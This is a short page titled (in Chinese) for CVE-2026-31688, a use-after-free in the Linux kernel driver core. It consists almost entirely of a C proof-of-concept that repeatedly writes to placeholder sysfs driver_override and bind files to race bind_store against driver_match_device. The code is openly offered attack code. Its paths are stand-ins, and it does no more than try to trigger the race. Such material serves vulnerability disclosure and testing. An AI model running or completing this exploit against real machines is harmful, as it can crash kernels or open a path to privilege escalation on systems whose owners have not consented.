CVE-2026-31688 Linux内核驱动核心UAF漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> // Conceptual PoC for triggering the race condition via sysfs // This code attempts to trigger the race in driver_override handling int main() { // These paths are examples and depend on the specific hardware/vulnerable driver const char* override_path = "/sys/bus/xxx/devices/xxxx:xx:xx.x/driver_override"; const char* bind_path = "/sys/bus/xxx/drivers/xxx/bind"; int fd_override = -1, fd_bind = -1; const char* target_driver = "vuln_driver"; const char* device_id = "xxxx:xx:xx.x"; printf("[+] Starting PoC for CVE-2026-31688...\n"); // Open file descriptors for the vulnerable sysfs entries fd_override = open(override_path, O_WRONLY); if (fd_override < 0) { perror("[-] Failed to open driver_override"); return 1; } fd_bind = open(bind_path, O_WRONLY); if (fd_bind < 0) { perror("[-] Failed to open bind"); close(fd_override); return 1; } printf("[+] Opened sysfs entries. Racing...\n"); // Rapidly write to trigger the race condition between bind_store and driver_match_device for (int i = 0; i < 10000; i++) { // Write driver name to override write(fd_override, target_driver, strlen(target_driver)); // Trigger bind operation which may call driver_match_device without lock write(fd_bind, device_id, strlen(device_id)); // Clear override to reset state (optional, depending on specific race logic) write(fd_override, "\n", 1); } printf("[+] Exploitation attempt finished.\n"); close(fd_override); close(fd_bind); return 0; }